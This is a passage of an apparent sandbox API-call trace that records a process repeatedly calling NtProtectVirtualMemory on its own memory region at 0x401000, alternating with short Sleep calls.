BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.983] Sleep (dwMilliseconds=0x5) [0284.030] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.031] Sleep (dwMilliseconds=0x5) [0284.093] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.094] Sleep (dwMilliseconds=0x5) [0284.138] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.138] Sleep (dwMilliseconds=0x5) [0284.209] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.210] Sleep (dwMilliseconds=0x5) [0284.249] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.250] Sleep (dwMilliseconds=0x5) [0284.293] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.294] Sleep (dwMilliseconds=0x5) [0284.339] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.340] Sleep (dwMilliseconds=0x5) [0284.390] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.391] Sleep (dwMilliseconds=0x5) [0284.436] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.436] Sleep (dwMilliseconds=0x5) [0284.479] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.480] Sleep (dwMilliseconds=0x5) [0284.530] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.531] Sleep (dwMilliseconds=0x5) [0284.583] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.583] Sleep (dwMilliseconds=0x5) [0284.638] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.639] Sleep (dwMilliseconds=0x5) [0284.685] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.686] Sleep (dwMilliseconds=0x5) [0284.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.734] Sleep (dwMilliseconds=0x5) [0284.781] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.782] Sleep (dwMilliseconds=0x5) [0284.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.831] Sleep (dwMilliseconds=0x5) [0284.870] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.870] Sleep (dwMilliseconds=0x5) [0284.918] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.918] Sleep (dwMilliseconds=0x5) [0284.966] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0284.967] Sleep (dwMilliseconds=0x5) [0285.010] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.011] Sleep (dwMilliseconds=0x5) [0285.058] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.059] Sleep (dwMilliseconds=0x5) [0285.108] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.108] Sleep (dwMilliseconds=0x5) [0285.152] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.152] Sleep (dwMilliseconds=0x5) [0285.225] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.226] Sleep (dwMilliseconds=0x5) [0285.263] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.263] Sleep (dwMilliseconds=0x5) [0285.311] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.312] Sleep (dwMilliseconds=0x5) [0285.355] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.355] Sleep (dwMilliseconds=0x5) [0285.404] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.405] Sleep (dwMilliseconds=0x5) [0285.497] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.498] Sleep (dwMilliseconds=0x5) [0285.547] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.547] Sleep (dwMilliseconds=0x5) [0285.592] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.593] Sleep (dwMilliseconds=0x5) [0285.636] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.637] Sleep (dwMilliseconds=0x5) [0285.682] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.683] Sleep (dwMilliseconds=0x5) [0285.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.734] Sleep (dwMilliseconds=0x5) [0285.778] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.779] Sleep (dwMilliseconds=0x5) [0285.824] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.825] Sleep (dwMilliseconds=0x5) [0285.870] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.870] Sleep (dwMilliseconds=0x5) [0285.923] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.924] Sleep (dwMilliseconds=0x5) [0285.970] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0285.971] Sleep (dwMilliseconds=0x5) [0286.015] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.016] Sleep (dwMilliseconds=0x5) [0286.062] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.063] Sleep (dwMilliseconds=0x5) [0286.123] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.124] Sleep (dwMilliseconds=0x5) [0286.172] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.173] Sleep (dwMilliseconds=0x5) [0286.251] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.252] Sleep (dwMilliseconds=0x5) [0286.300] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.301] Sleep (dwMilliseconds=0x5) [0286.356] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.357] Sleep (dwMilliseconds=0x5) [0286.405] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.406] Sleep (dwMilliseconds=0x5) [0286.455] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.456] Sleep (dwMilliseconds=0x5) [0286.504] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.509] Sleep (dwMilliseconds=0x5) [0286.564] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.565] Sleep (dwMilliseconds=0x5) [0286.612] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.613] Sleep (dwMilliseconds=0x5) [0286.788] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.789] Sleep (dwMilliseconds=0x5) [0286.837] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.897] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.898] Sleep (dwMilliseconds=0x5) [0286.947] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.948] Sleep (dwMilliseconds=0x5) [0286.990] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0286.991] Sleep (dwMilliseconds=0x5) [0287.039] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.040] Sleep (dwMilliseconds=0x5) [0287.086] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.087] Sleep (dwMilliseconds=0x5) [0287.143] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.193] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.194] Sleep (dwMilliseconds=0x5) [0287.242] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.242] Sleep (dwMilliseconds=0x5) [0287.289] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.292] Sleep (dwMilliseconds=0x5) [0287.378] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.378] Sleep (dwMilliseconds=0x5) [0287.426] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.427] Sleep (dwMilliseconds=0x5) [0287.479] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.480] Sleep (dwMilliseconds=0x5) [0287.539] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.539] Sleep (dwMilliseconds=0x5) [0287.595] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.596] Sleep (dwMilliseconds=0x5) [0287.643] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.643] Sleep (dwMilliseconds=0x5) [0287.688] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.689] Sleep (dwMilliseconds=0x5) [0287.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.737] Sleep (dwMilliseconds=0x5) [0287.812] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.813] Sleep (dwMilliseconds=0x5) [0287.885] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.886] Sleep (dwMilliseconds=0x5) [0287.937] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0287.937] Sleep (dwMilliseconds=0x5) [0287.985] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, 